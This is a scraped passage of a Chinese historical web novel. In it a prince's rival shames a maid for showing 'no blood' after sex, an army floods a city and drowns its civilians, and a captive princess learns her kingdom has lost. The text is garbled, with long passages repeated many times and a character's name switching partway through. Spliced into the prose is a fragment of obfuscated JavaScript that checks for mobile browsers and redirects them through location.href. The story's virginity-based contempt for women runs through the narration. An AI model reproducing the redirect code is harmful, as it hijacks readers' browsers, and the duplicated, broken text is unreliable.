“呵,还跟我狡辩是吧?我问你,是不是林臻!??” 顾北辰的表情都有些扭曲起来。 他觉得自己喝的是林臻的刷锅水。 然而嬛嬛却十分委屈,哀求地摇晃着顾北辰的手臂。 “顾郎,你听我解释,我真的是干净的,没有人碰过我!林臻也从来没碰过我!” “放屁!林臻都把皇帝上了,还会放过你吗?” “可是我真的没有啊.呜呜呜呜!” “那为什么不见红?” 如果有点常识就知道,有些女孩子就是天生没红。 还有的女孩子是在运动中不小心破裂的,这和她们身体干净与否并没有直接关系。 尤其是后世,这玩意居然还能修复. “哼!”顾北辰甩手起身,走了出去。 他绝不可能会容忍不干净的女人在自己身边,即便是皇帝的侍女也是如此。 而嬛嬛却只有嘤嘤哭泣,以表达自己的委屈。 顾北辰一路来到城楼上,感受到略带寒意的秋风吹过,掀起他的发梢。 不知不觉,竟下雨了。 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“那为什么不见红?” 如果有点常识就知道,有些女孩子就是天生没红。 还有的女孩子是在运动中不小心破裂的,这和她们身体干净与否并没有直接关系。 尤其是后世,这玩意居然还能修复. “哼!”顾北辰甩手起身,走了出去。 他绝不可能会容忍不干净的女人在自己身边,即便是皇帝的侍女也是如此。 而嬛嬛却只有嘤嘤哭泣,以表达自己的委屈。 顾北辰一路来到城楼上,感受到略带寒意的秋风吹过,掀起他的发梢。 不知不觉,竟下雨了。 嘴巴张开,顾北辰没有亲吻,而是把两根手指头放进去。 嬛嬛一点都不讨厌,甚至还很喜欢。 半眯着眼睛,情不自禁的开始**。 触感滑腻腻的,顾北辰很是喜欢。 直到嬛嬛的呼吸越来越急促时,他把头埋进她的脖颈间,轻轻嗅着从她身体里散发出来的少女芳香,不知不觉竟有了感觉,大手向下探去,抓住嬛嬛的纤细脚踝。 “嬛嬛,让我好好的疼疼你。” “嗯终于等到这一天了,请顾郎不必怜惜。” 干柴烈火,一触即发。 嬛嬛展现出来的疯狂是顾北辰没想到的,但最终的结果却让他很不满意。 没有红。 顾北辰顿时兴趣大落。 奶奶的,折腾半天玩了个二手货,草! 勉强发泄完,顾北辰穿上衣服,神情冷漠地吓人。 而嬛嬛还沉浸在刚才的温柔中无法自拔。 她抓住顾北辰的手,说道:“顾郎,你好厉害。” 顾北辰冷冷的看着他,把手抽开。 这个动作让嬛嬛瞬间惊醒。 就听他问道:“谁碰过你?” “什么?” “我问你,谁碰过你的身体?” 嬛嬛立刻慌乱起来:“没有啊,我的身体从来没有人碰过。” “呵,还跟我狡辩是吧?我问你,是不是林臻!??” 顾北辰的表情都有些扭曲起来。 他觉得自己喝的是林臻的刷锅水。 然而嬛嬛却十分委屈,哀求地摇晃着顾北辰的手臂。 “顾郎,你听我解释,我真的是干净的,没有人碰过我!林臻也从来没碰过我!” “放屁!林臻都把皇帝上了,还会放过你吗?” “可是我真的没有啊.呜呜呜呜!” “那为什么不见红?” 如果有点常识就知道,有些女孩子就是天生没红。 还有的女孩子是在运动中不小心破裂的,这和她们身体干净与否并没有直接关系。 尤其是后世,这玩意居然还能修复. “哼!”顾北辰甩手起身,走了出去。 他绝不可能会容忍不干净的女人在自己身边,即便是皇帝的侍女也是如此。 而嬛嬛却只有嘤嘤哭泣,以表达自己的委屈。 顾北辰一路来到城楼上,感受到略带寒意的秋风吹过,掀起他的发梢。 不知不觉,竟下雨了。 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林震仙微微颔首,目光转向一旁待命的周泽,神色冷峻:“周泽,本王命你带领将士去沐水上游,掘开河堤!此战关乎我军大势,不容有失。” 周泽身形一挺。 “末将领命!” 言罢,他转身就带着百来个精壮士兵冲进风雨里。 行至沐水河畔,风势愈发狂暴,雨幕仿若密织的珠帘,让人难以视物。 到了沐水河边,风刮得更猛,雨像帘子一样都看不清人。 河水涨得老高,浪头一个接一个地拍打着河堤。 周泽眯起双眼,又激动又兴奋。 这下邳城,终于要攻破了! “众将士听令,随我登堤!” 他一声怒吼,率先冲向河堤。 他扯着嗓子喊了一声,带头就往河堤上冲。 脚下全是烂泥,踩一脚便会陷下去。 士兵们深一脚浅一脚地跟着,时不时有人滑倒,被战友扶起来后接着往上冲。 周泽带头,双手死死抠住堤边的芒草,手指泛白,胳膊上青筋直冒,借着雨水的冲劲,咬牙拼命往上挪。 狂风好几次差点把他掀到河里,可他就是不松手,硬是一点点爬上了河堤顶端。 等弟兄们都上来,周泽看着脚下汹涌的河水,心里也有点发怵。 奶奶的,掘河堤。 搞不好就要被水冲走啊! 但是军令在身,不得不做。 为了王爷,为了世子,为了大乾的太平盛世。 干! “将士们!人生自古谁无死,留取丹心照汗青!世子和王爷在等着我们胜利的消息!我们无论如何也要掘开河堤,绝不能有半点懈怠!此战过后,尔等每人赏银千两,官升三级!” “喝!喝!喝!” 周泽做了最后的战前动员,士卒们暴喝一声,纷纷挥动手中铁锹、锄头、钻头、撬棍,向着河堤薄弱处奋力掘 去。 可这河堤哪是那么容易掘开的,水的冲击力太大,刚挖开一点,泥土就又被冲了回去。 突然,一个大浪打来,靠近河边的两名士兵躲避不及,瞬间被卷入湍急的水流之中,连呼喊都来不及发出,就消失不见了。 众人心中一惊,但此刻已没有退路,只能咬着牙继续。 泥土混合着雨水飞溅,每一下挖掘都似在与时间赛跑,与这天地狂暴之力抗衡。 不多时,只听一阵沉闷轰鸣,仿若山崩地裂,那河堤终于承受不住,轰然决口。 刹那间,蓄积已久的洪水仿若找到了宣泄口,如万马奔腾般汹涌而下,裹挟着泥沙、树枝,以摧枯拉朽之势扑向下邳城。 下邳城内,顾北辰正在城楼内悠然踱步。 他一袭月白锦袍,腰束玉带,剑眉星目间尽是贵族的骄傲。 这雨来得突然,没能让他回到府衙便倾盆而下。 突然,他瞧见远处又一道白线顺着天际迅猛奔来。 起初他还没反应过来是什么。 待看清那是汹涌的洪水时,脸色瞬间变得惨白。 “卧槽!发洪水了!快跑啊!” 他冲着身边的士卒大喊,声音都因焦急而变了调。士卒们手忙脚乱地敲响警钟,一时间,急促的钟声在城内回荡。 可还没等城内百姓有所反应,洪水已如白色的怪兽一般,“轰隆”一声就将城门冲破,街道上瞬间乱成一锅粥,老百姓四处乱窜,哭爹喊娘。 洪水如猛兽般咆哮着涌入大街小巷,所到之处,房屋轰然倒塌,碎瓦残垣随着洪流四处漂浮。 年幼的孩童被吓得紧紧抱住父母的脖颈,放声大哭,那哭声在风雨和洪水的喧嚣中显得如此微弱,却又揪人心肺。 老人们颤颤巍巍,脚步蹒跚,许多人在慌乱中摔倒,便再也没能爬起来,直接被洪水淹没,只留下一只枯瘦的手,徒劳地在水面上挥舞几下,便没了踪影。 青壮年们试图背起家人逃生,可洪水的冲击力太大,他们往往刚迈出几步,就被水流冲倒,一家人在水中苦苦挣扎,相互拉扯,却无法挣脱洪水的魔掌。 牲畜们惊恐地嘶鸣着,四处奔逃,牛马的嘶叫声、猪羊的惨叫声交织在一起,为这惨烈的场景增添了几分绝望的气息。 街边的店铺被洪水冲得七零八落,货物散落一地,粮食、布匹、金银细软,此刻都成了毫无用处的杂物,随着水流打着旋儿。一些来不及逃走的小贩,死死抱住路边的大树,眼神中充满了恐惧与绝望 ,他们的生计,就在这一瞬间被彻底摧毁。 半个时辰的时间,洪水逐渐退出下邳城,继续奔下游而去,城内只有刚刚没过马蹄的浅水还在流淌。 城外,林震仙见大水已去,眼中闪过一抹冷峻的笑意,猛地拔剑一挥:“骑兵,全军出击!” “呜~~~” “杀!!!” 顿时,号角长鸣,喊杀声四起,由郑三山率领的大军仿若黑色潮水,向着陷入绝境的下邳城汹涌而去。 南楚守军本就被这突如其来的洪水冲得七零八落,军心大乱,又见敌军如鬼魅般杀至,顿时斗志全无。 南楚主将望着城外如林的刀枪,长叹一声,弃械而降。 顾北辰望着满城的大水和围上来的敌军,又气又急,俊美的脸庞因愤怒而扭曲。他的双眼瞬间布满血丝,仿佛要喷出火来,死死地瞪着城外的林震仙,牙齿咬得咯咯作响,从牙缝中挤出一句:“操你妈的林震仙!” 他的双手在身侧紧紧握拳,指关节因为用力过度而泛白,身体也不受控 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他铠甲上满是泥污与水渍,走到近前,单膝跪地:“王爷,末将不辱使命,河堤已决,下邳城破。” 林震仙笑着,双手将周泽扶起来:“小泽,辛苦了。此战你居功至伟,待班师回朝,本王定当奏明圣上 ,为你请功!” 何明远也在一旁接话:“多亏周将军神勇,否则这大雨虽利,却也很难轻易破城。如今下邳已破,我军可顺势挥师南下,直捣南楚腹地。” 林震仙负手踱步,沉思片刻:“不可操之过急,我军虽胜,但却有伤人和。当务之急,是安抚百姓,帮他们重建家园。臻儿有句话说得好啊,这以后可都是我们大乾的子民,万万不能苛待。” “王爷所言极是,而且属下认为南楚会因为此战而对战争心生恐惧,说不定会找我们和谈。” “笑话,他想和谈就和谈?”林震仙是绝不可能同意和谈的。 但是林臻同意啊。 只不过老爷子现在还不知道林臻的想法而已,如果知道了,也肯定会同意的。 不知不觉间,林臻这个小屁孩已经成为了林震仙的主心骨。 林震仙兵不血刃破下邳,此等壮举不亚于林臻五千破十万。 只是京城这边还不知道呢。 这场最后的秋雨来势汹汹,京城内也有诸多地方被淹,好在城区排水功能完善,不至于造成洪涝。 林臻打着伞,在皇宫门口走下马车。 京城下雨,那下邳城肯定也下雨了。 林臻知道,这场与南楚的大战将会在今年年底之前结束,而大乾就能成为七国里最强盛的存在。 在这个节骨眼上,他想来见一个人。 一个女人。 楚惜灵。 他很想知道,这个为自己国家感到十分骄傲的女人,究竟是如何看待这场一边倒的战争的。 第329章 你就这么恨我么? 雨逐渐小了下来。 细密如牛毛的雨丝纷纷扬扬地洒落,仿若天公倾洒下的珠帘,将整座皇宫都轻柔地笼罩其中。 青石板路被雨水洗刷得光可鉴人,倒映着巍峨宫墙的模糊轮廓,恰似一幅天然晕染的水墨画,于朦胧间透着无尽的诗意与哀愁。 楚惜灵所在的衡芜院在雨幕的笼罩下,愈发显得清冷孤寂,仿若与世隔绝的孤岛。 林臻很久没有来看望她了,也不知道这位原书中被编排的有些傻兮兮的楚国公主有没有疯掉。 院外,本来身着锃亮甲胄的守卫们此刻换上了蓑衣,身姿挺拔如松,雨水顺着盔檐潺潺滑落,在他们脚下汇聚成小小的水洼。 他们却仿若未觉,身子纹丝不动。 这是林臻特意命令,慕容无舌特意安排的。 必须要看守好楚惜灵,任何人不得进出,更不能把她弄丢了。 所以任何在这里站岗的事情都不敢大意。 见林臻撑伞而来,那月白色的身影仿若雨中翩然而至的谪仙,守卫们齐齐单膝跪地,动作整齐划一,齐声高呼:“参见世子!” 声音穿透雨幕,在寂静的宫巷里回荡。 林臻微微颔首。 “开门。” “是!” 护卫立刻打开衡芜院的大门。 正对着大门的凉亭里,楚惜灵宛如一朵雨中绽放的寒梅,孤立于尘世之外,散发着清冷卓绝的气质。 她皮肤很白,很是娇嫩,面庞在雨雾的映衬下仿若透着一层淡淡的光晕,恰似用那羊脂玉精心雕琢而成,透着温润又拒人千里的质感。 身姿纤细,一袭水蓝色罗裙逶迤在地,裙角已被雨水浸湿,晕染出深色的水渍。 腰间束着一条月白色丝带,腰肢不堪一握。眉如远黛,细长而微微上扬。眉心一点朱砂痣,宛如一滴血泪,为她的清冷容颜添了一抹凄艳。 林臻是见过美女的,可以说她的后宫里都是美女。 但每次见到楚惜灵的时候,还是会被她的美貌所震惊。 此刻她正专注面前古琴。手指修长如葱,指尖在琴弦上灵动跳跃,宛如翩跹的蝶,琴音悠悠扬扬地飘散开来,似泣似诉,每一个音符都仿佛承载着她对故国的无尽思念。 雨水顺着亭檐潺潺而下,形成一道道水帘,将她的身影半遮半掩,林臻收了收伞,脚步放轻,缓缓向凉亭靠近。 楚惜灵好像不知道林臻的到来,也可能不在乎任何人的到来,依旧沉浸在自己的琴音世界里,奏 出的曲调愈发悲戚,透着一股无法言说的哀愁。 待林臻走到她面前,楚惜灵玉手一按琴弦,琴音戛然而止,抬眸看向他,眼神清冷如雪。 “世子,男女有别,你这般贸然靠近,不妥。” 林臻淡淡一笑,并未后退,只是将伞微微前倾,为她挡住更多的雨水,目光紧锁着她,轻声说道:“楚国已经对大乾发兵了。” 楚惜灵眉梢微微一蹙,随即闪过一丝释然。 好啊,父皇终于发兵了。 再有不久,自己就能离开这个冷清的鬼地方了。 她的内心活动自然逃不脱林臻的法眼,却也不点破。 “你不知道吗?” 楚惜灵别过头去,言语间满是自嘲与落寞:“我在这深宫大院里,别说事情,连只鸟都飞不进来,如何知道?” “这倒也是,所以我来问问你,你怎么看待这场战争?” 楚惜灵面带冷笑。 好像目前的人不是林臻,而是个跳梁小丑。 甚至她已经把林臻的目的猜得清清楚楚了。 “呵,我大楚兵精粮足,人才无数!你们大乾是顶不住了,准备拿我当把柄来威胁我父皇吧?” 林臻淡笑着承认:“呵呵呵,如果真顶不住了,你确实是我的底牌。” “你想都别想。”楚惜灵看向别处,孤傲地道,“我是不会从你的,也绝不会给你威胁我父皇的机会。你们若是识相就立刻投降,双手献上土地,否则就别怪我父皇对你们大乾子民举起屠刀,鸡犬不留!” 唉。 这女人有着对自己国家的骄傲,也不知道等会告诉她真相时,她能不能接受。 “其实,这话应该我对你说。” “你什么意思?难道你乾国还能打得过我们大楚?哈哈哈哈,林臻,你也太异想天开了。这么多年我们大楚都没有进攻,不是因为怕你们,而是没有个正当理由。现在既然已经撕破脸,那必定不会留手。林臻,你还是好好洗干净脖子等着被砍吧!你放心,我会亲眼看着大楚的士兵,对你行刑。” 林臻有些无奈地摸了摸鼻子。 “你就这么恨我么?” “你说呢!?”楚惜灵狠狠皱起眉头,“若不是你,我怎会在这宫里如此孤单?你知道我这几个月是怎么过来的吗?” 她厉声咆哮着,宣泄心中的不满。 林臻也是没办法,为了国家,为了江山社稷,他不能冒一丝风险。 楚惜灵就是他留下的底牌,用来掣肘楚 霸天的。 不过现在看来,底牌已经不需要了,所以林臻打算给她一个机会。 “清秋公主,两国之间的战争永远不是那么简单的。三十年前,你父亲登基,逼迫我国派出质子,以换两国和平。可是后来呢?堂堂皇子被你们活生生饿死。与你们相比,我林臻简直太仁慈了不是吗?” “哼。”说起这件事情,连楚惜灵也不愿意回答,只冷哼一声。 林臻收起雨伞,走进凉亭里,就站在楚惜灵身后。 “其实,你们南楚已经输了。” “呵。” 楚惜灵除了冷笑外没有别的反应。 她根本就不信。 大楚才是华夏大地上最强的国家,任何国家都无法抗衡,更无法相比。 至于大楚会输给乾国? 呵,天方夜谭。 “你别不信。”林臻的声音幽幽缓缓,传得很远,“其实你父亲早在三个月前就出兵了,主帅是楚国名将项英,领严文豹,杨文平两员大将,率十万兵马,兵临清河县。” 楚惜灵没说话,但是林臻知道她在听,所以继续说道。 “当时清河县守城将军就是我。项英是我爷爷的老对手,又认为我年轻,所以贪功冒进,导致大败。我军俘虏南楚士兵八万,斩首两万,连项英都被我俘虏了。” “呵,说得不错,继续编。” 林臻对她的态度置之不理,就好像是在自言自语地讲故事。 “项英被俘后,我打算继续南下,一直打到长江入海口。但是京城里来消息,让王爷接替我大帅的位置,所以我便回来了。王爷率领大乾将士一路南下,一直到下邳才算停住。你知道固守下邳城的是谁吗?呵呵呵,竟然是从我大乾跑出去的丧家之犬,顾北辰。可见,你南楚真是没人了呀。” 楚惜灵攥紧粉拳,身为微微颤抖,意念开始逐步动摇。 林臻继续说道:“下邳确实是座坚城,以王爷的能力居然也无法拿下。” 说到这,楚惜灵露出淡淡冷笑。 这么多年南楚在下邳城的投资可以说已经超过了金陵。 若是这么轻易被攻破,那岂不是成了笑话了吗? 却没想到林臻一句话,便惊得她豁然起身。 “但是今天,下邳城破了。” “不可能!!下邳乃江北第一坚城,除非有五十万人马,否则绝不可能攻下来!” “没错,但你看看这是什么?” 林臻把手伸出亭外,很快便拿进来,递给 楚惜灵看。 楚惜灵有瞬间的愣神,随即想到什么。 “雨?” “没错,王爷知道下邳城不可能强攻,所以便命令将士把上游河道堵死,如此一来,就等这场秋雨。” 林臻再次把手伸出去,感受着雨点轻轻拍打手心的感觉。 而楚惜灵则是的胸脯微微起伏,情绪已然有些激动。 但她还是不相信林臻说的话。 在她眼中,大楚是无所不能的超级大国! 即便首战失利,绝不可能给乾国打得如此狼狈! 他骗人! “你休得在此胡言!我楚国上下一心,怎会如你所言那般不堪?定是你为了炫耀,故意抹黑我大楚。” “你看这个是什么?” 林臻从怀里掏出一个小小的印信。 这是项英的。 当初把他俘虏的时候,从他身上搜出来的,林臻一直珍藏着,就等着给楚惜灵看。 而楚惜灵则是满脸的难以置信,这块印信他认识。 正是项英的帅印。 这种东西是不可能复制的,全世界只有这一块。 林臻盯着她不断变换的表情,略有戏谑地问道:“这回信了吗?” 楚惜灵没有说话,但那不断不断起伏的胸脯早已出卖了她。 雨水溅落在她的脸颊,分不清是雨还是泪。 她莲步轻移,几步走到亭边,伸出手,任由雨水打在掌心,仿佛这样便能触摸到远方故国的土地,身姿挺拔,透着绝不屈服的刚强,声音微微颤抖。 “堵住上游,积攒河水。等秋雨一下,你们再掘开河堤,河水立刻变成洪水,冲击下邳城.” “没错。” “混蛋!!你知道这要死多少人吗!?” 楚惜灵的声音带着几分凄厉。 林臻却脸色很平静地回答:“这是战争,打仗哪有不死人的?” “可下邳城里还有二十万百姓!你们乾国就如此视人命如草芥?林臻,我要杀了你!” “有这功夫,还是想想自己的事情吧,我可以给你个机会,让你离开这里,重获自由。” 楚惜灵看。 楚惜灵有瞬间的愣神,随即想到什么。 “雨?” “没错,王爷知道下邳城不可能强攻,所以便命令将士把上游河道堵死,如此一来,就等这场秋雨。” 林臻再次把手伸出去,感受着雨点轻轻拍打手心的感觉。 而楚惜灵则是的胸脯微微起伏,情绪已然有些激动。 但她还是不相信林臻说的话。 在她眼中,大楚是无所不能的超级大国! 即便首战失利,绝不可能给乾国打得如此狼狈! 他骗人! “你休得在此胡言!我楚国上下一心,怎会如你所言那般不堪?定是你为了炫耀,故意抹黑我大楚。” “你看这个是什么?” 林臻从怀里掏出一个小小的印信。 这是项英的。 当初把他俘虏的时候,从他身上搜出来的,林臻一直珍藏着,就等着给楚惜灵看。 而楚惜灵则是满脸的难以置信,这块印信他认识。 正是项英的帅印。 这种东西是不可能复制的,全世界只有这一块。 林臻盯着她不断变换的表情,略有戏谑地问道:“这回信了吗?” 楚惜灵没有说话,但那不断不断起伏的胸脯早已出卖了她。 雨水溅落在她的脸颊,分不清是雨还是泪。 她莲步轻移,几步走到亭边,伸出手,任由雨水打在掌心,仿佛这样便能触摸到远方故国的土地,身姿挺拔,透着绝不屈服的刚强,声音微微颤抖。 “堵住上游,积攒河水。等秋雨一下,你们再掘开河堤,河水立刻变成洪水,冲击下邳城.” “没错。” “混蛋!!你知道这要死多少人吗!?” 楚惜灵的声音带着几分凄厉。 林臻却脸色很平静地回答:“这是战争,打仗哪有不死人的?” “可下邳城里还有二十万百姓!你们乾国就如此视人命如草芥?林臻,我要杀了你!” “有这功夫,还是想想自己的事情吧,我可以给你个机会,让你离开这里,重获自由。” 楚惜灵看。 楚惜灵有瞬间的愣神,随即想到什么。 “雨?” “没错,王爷知道下邳城不可能强攻,所以便命令将士把上游河道堵死,如此一来,就等这场秋雨。” 林臻再次把手伸出去,感受着雨点轻轻拍打手心的感觉。 而楚惜灵则是的胸脯微微起伏,情绪已然有些激动。 但她还是不相信林臻说的话。 在她眼中,大楚是无所不能的超级大国! 即便首战失利,绝不可能给乾国打得如此狼狈! 他骗人! “你休得在此胡言!我楚国上下一心,怎会如你所言那般不堪?定是你为了炫耀,故意抹黑我大楚。” “你看这个是什么?” 林臻从怀里掏出一个小小的印信。 这是项英的。 当初把他俘虏的时候,从他身上搜出来的,林臻一直珍藏着,就等着给楚惜灵看。 而楚惜灵则是满脸的难以置信,这块印信他认识。 正是项英的帅印。 这种东西是不可能复制的,全世界只有这一块。 林臻盯着她不断变换的表情,略有戏谑地问道:“这回信了吗?” 楚惜灵没有说话,但那不断不断起伏的胸脯早已出卖了她。 雨水溅落在她的脸颊,分不清是雨还是泪。 她莲步轻移,几步走到亭边,伸出手,任由雨水打在掌心,仿佛这样便能触摸到远方故国的土地,身姿挺拔,透着绝不屈服的刚强,声音微微颤抖。 “堵住上游,积攒河水。等秋雨一下,你们再掘开河堤,河水立刻变成洪水,冲击下邳城.” “没错。” “混蛋!!你知道这要死多少人吗!?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097943|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楚惜灵的声音带着几分凄厉。 林臻却脸色很平静地回答:“这是战争,打仗哪有不死人的?” “可下邳城里还有二十万百姓!你们乾国就如此视人命如草芥?林臻,我要杀了你!” “有这功夫,还是想想自己的事情吧,我可以给你个机会,让你离开这里,重获自由。” 楚惜灵看。 楚惜灵有瞬间的愣神,随即想到什么。 “雨?” “没错,王爷知道下邳城不可能强攻,所以便命令将士把上游河道堵死,如此一来,就等这场秋雨。” 林臻再次把手伸出去,感受着雨点轻轻拍打手心的感觉。 而楚惜灵则是的胸脯微微起伏,情绪已然有些激动。 但她还是不相信林臻说的话。 在她眼中,大楚是无所不能的超级大国! 即便首战失利,绝不可能给乾国打得如此狼狈! 他骗人! “你休得在此胡言!我楚国上下一心,怎会如你所言那般不堪?定是你为了炫耀,故意抹黑我大楚。” “你看这个是什么?” 林臻从怀里掏出一个小小的印信。 这是项英的。 当初把他俘虏的时候,从他身上搜出来的,林臻一直珍藏着,就等着给楚惜灵看。 而楚惜灵则是满脸的难以置信,这块印信他认识。 正是项英的帅印。 这种东西是不可能复制的,全世界只有这一块。 林臻盯着她不断变换的表情,略有戏谑地问道:“这回信了吗?” 楚惜灵没有说话,但那不断不断起伏的胸脯早已出卖了她。 雨水溅落在她的脸颊,分不清是雨还是泪。 她莲步轻移,几步走到亭边,伸出手,任由雨水打在掌心,仿佛这样便能触摸到远方故国的土地,身姿挺拔,透着绝不屈服的刚强,声音微微颤抖。 “堵住上游,积攒河水。等秋雨一下,你们再掘开河堤,河水立刻变成洪水,冲击下邳城.” “没错。” “混蛋!!你知道这要死多少人吗!?” 楚惜灵的声音带着几分凄厉。 林臻却脸色很平静地回答:“这是战争,打仗哪有不死人的?” “可下邳城里还有二十万百姓!你们乾国就如此视人命如草芥?林臻,我要杀了你!” “有这功夫,还是想想自己的事情吧,我可以给你个机会,让你离开这里,重获自由。” 楚惜灵看。 楚惜灵有瞬间的愣神,随即想到什么。 “雨?” “没错,王爷知道下邳城不可能强攻,所以便命令将士把上游河道堵死,如此一来,就等这场秋雨。” 林臻再次把手伸出去,感受着雨点轻轻拍打手心的感觉。 而楚惜灵则是的胸脯微微起伏,情绪已然有些激动。 但她还是不相信林臻说的话。 在她眼中,大楚是无所不能的超级大国! 即便首战失利,绝不可能给乾国打得如此狼狈! 他骗人! “你休得在此胡言!我楚国上下一心,怎会如你所言那般不堪?定是你为了炫耀,故意抹黑我大楚。” “你看这个是什么?” 林臻从怀里掏出一个小小的印信。 这是项英的。 当初把他俘虏的时候,从他身上搜出来的,林臻一直珍藏着,就等着给楚惜灵看。 而楚惜灵则是满脸的难以置信,这块印信他认识。 正是项英的帅印。 这种东西是不可能复制的,全世界只有这一块。 林臻盯着她不断变换的表情,略有戏谑地问道:“这回信了吗?” 楚惜灵没有说话,但那不断不断起伏的胸脯早已出卖了她。 雨水溅落在她的脸颊,分不清是雨还是泪。 她莲步轻移,几步走到亭边,伸出手,任由雨水打在掌心,仿佛这样便能触摸到远方故国的土地,身姿挺拔,透着绝不屈服的刚强,声音微微颤抖。 “堵住上游,积攒河水。等秋雨一下,你们再掘开河堤,河水立刻变成洪水,冲击下邳城.” “没错。” “混蛋!!你知道这要死多少人吗!?” 楚惜灵的声音带着几分凄厉。 林臻却脸色很平静地回答:“这是战争,打仗哪有不死人的?” “可下邳城里还有二十万百姓!你们乾国就如此视人命如草芥?林臻,我要杀了你!” “有这功夫,还是想想自己的事情吧,我可以给你个机会,让你离开这里,重获自由。” 楚惜灵看。 楚惜灵有瞬间的愣神,随即想到什么。 “雨?” “没错,王爷知道下邳城不可能强攻,所以便命令将士把上游河道堵死,如此一来,就等这场秋雨。” 林臻再次把手伸出去,感受着雨点轻轻拍打手心的感觉。 而楚惜灵则是的胸脯微微起伏,情绪已然有些激动。 但她还是不相信林臻说的话。 在她眼中,大楚是无所不能的超级大国! 即便首战失利,绝不可能给乾国打得如此狼狈! 他骗人! “你休得在此胡言!我楚国上下一心,怎会如你所言那般不堪?定是你为了炫耀,故意抹黑我大楚。” “你看这个是什么?” 林臻从怀里掏出一个小小的印信。 这是项英的。 当初把他俘虏的时候,从他身上搜出来的,林臻一直珍藏着,就等着给楚惜灵看。 而楚惜灵则是满脸的难以置信,这块印信他认识。 正是项英的帅印。 这种东西是不可能复制的,全世界只有这一块。 林臻盯着她不断变换的表情,略有戏谑地问道:“这回信了吗?” 楚惜灵没有说话,但那不断不断起伏的胸脯早已出卖了她。 雨水溅落在她的脸颊,分不清是雨还是泪。 她莲步轻移,几步走到亭边,伸出手,任由雨水打在掌心,仿佛这样便能触摸到远方故国的土地,身姿挺拔,透着绝不屈服的刚强,声音微微颤抖。 “堵住上游,积攒河水。等秋雨一下,你们再掘开河堤,河水立刻变成洪水,冲击下邳城.” “没错。” “混蛋!!你知道这要死多少人吗!?” 楚惜灵的声音带着几分凄厉。 林臻却脸色很平静地回答:“这是战争,打仗哪有不死人的?” “可下邳城里还有二十万百姓!你们乾国就如此视人命如草芥?林臻,我要杀了你!” “有这功夫,还是想想自己的事情吧,我可以给你个机会,让你离开这里,重获自由。” 第330章 顾北辰的外公,韩天星 楚惜灵猛地转头看向他,目光如炬。 她的发丝有些凌乱地贴在脸颊,却丝毫不损她的美丽,反倒增添了几分凌乱的凄美之感。 “你肯放我走?”她对林臻的话感到难以置信。 这个男人什么时候会这么好心了? 林臻上前,与她并肩而立,雨声在耳边淅淅沥沥。 听雨向来是雅事,但林臻与楚惜灵好像都不觉得此刻很优雅,反而气氛愈发沉闷。 林臻目光坦荡地迎上她的视线。 “没错,只要这场谈判,你楚国愿意拿出足够的诚意,你就可以回去。” “不可能,我绝不会为了我自己而出卖国家利益。” “这由不得你。” “由我!林臻,如果你再逼我,我就一头碰死在这亭子里!”楚惜灵的声音在雨中显得犹为凄厉,带着几分怨毒。 苏澈无奈地看着她:“你这又是何苦呢。” “那你呢?你为你们乾国谋划的还不够吗?还要以我为质,要挟我父皇!” “我再说一遍,这是战争。由不得你,也由不得我。如果你不愿意走,我自然不会强迫你,但要求我还是会提,如果楚国不答应,那就打到底!” 楚惜灵身形一晃。 只觉面前这个男人的心仿佛是铁打的。 宁可看着我一头碰死在亭子里,也要向楚国提出要求。 “你提什么要求?” “当然是割地赔款。” “不可能!我父皇绝不会答应的!”楚惜灵落寞地摇了摇头。 “他会的。楚霸天已经进入暮年,最后一颗雄心也被我击得粉碎,再也没有北上的想法。既然没有想法,那自然会选择划江而治,然后年年向我大乾纳贡。但是,这还不够。” “还不够!?林臻,你难道想吞并我楚国不成?” “现在还不可能,但是不出几年,我一定会吞并掉。这个乱世已经持续太久,该一统了。” “就凭你?”楚惜灵死死瞪着林臻,好像在等他的回复,也好像是在嘲讽讥讽。 林臻却自信地点点头。 “没错,就凭我。” “呵呵.呵呵呵呵。” 曾几何时,楚霸天也有这样宏大的目标。 但一统天下又谈何容易呢。 楚惜灵不知道林臻的自信是从什么地方来的,她也不知道林臻这段时间都做过哪些事情。 她固执地认为,林臻在痴人说梦。 楚惜灵倚着亭 柱,手指关节泛白,任由雨点打在身上。 林臻心中泛起一丝不忍,声音不自觉地柔和下来。 “大势所趋,你父皇已经尽力了。 楚惜灵眼眶泛红,泪水在眼中打转,却倔强地不肯落下,“你不用在这假惺惺地,你们打赢了,所以你现在来对我这战败国的公主百般羞辱!林臻,你也太无能了。 林臻没有回怼。 这个时候两个人站在亭中互骂没有任何意义。 过了几秒,林臻向楚惜灵伸出手,掌心朝上。 楚惜灵看着有些不解。 却听林臻说道:“走吧,我带你出去转转。 “你就不怕我跑了? “你跑与不跑,楚国都已经战败了。 “哼。 楚惜灵当然不会拉林臻的手,她倔强地别过头,不再言语。 雨依旧淅淅沥沥地下着,打湿了两人的心。 林臻望着楚惜灵那孤傲的身影,欲言又止,最后他轻叹了一口气,将伞轻轻搁在亭边的石桌上。 “你若想出去,就让护卫跟着你。 言罢林臻转身缓缓离去。 雨水瞬间打湿了他的肩头,可他浑然不觉,脑海中依旧回荡着楚惜灵那清冷又倔强的面容,以及她弹奏的如泣如诉的琴音。 楚惜灵听着林臻的脚步声渐远,直至消失在雨幕之中,才缓缓转过身来。 目光落在那把静静躺在石桌上的伞上,眼神中闪过一丝复杂的情绪。 这把伞,就像林臻这个人,在这孤独的皇宫里,残酷的现实面前,给她带来了一丝意想不到的温暖,却又让她满心戒备。 “可恶! 她暗骂一声,还是不愿相信楚国战败的事实。 十天后。 洞庭山下。 顾北辰望着这座郁郁葱葱的山峦,露出一抹惨笑。 此刻的他衣衫褴褛,鞋子破了洞,头发乱糟糟的像杂草劈在肩膀上。 如果不是那张脸还算清秀,别人肯定认为这是从哪里逃难过来的乞丐。 以前他从来没这么狼狈过,也没这么不堪过。 可是自从抢亲那天开始,顾北辰发现自己事事不顺,做什么也做不成。 自己最心爱的女人刘书瑶,被林臻当玩物般对待,最后还残忍杀害。 自己最富有的财产被林臻一点一点剥夺,最后又被这笔财富所打压。 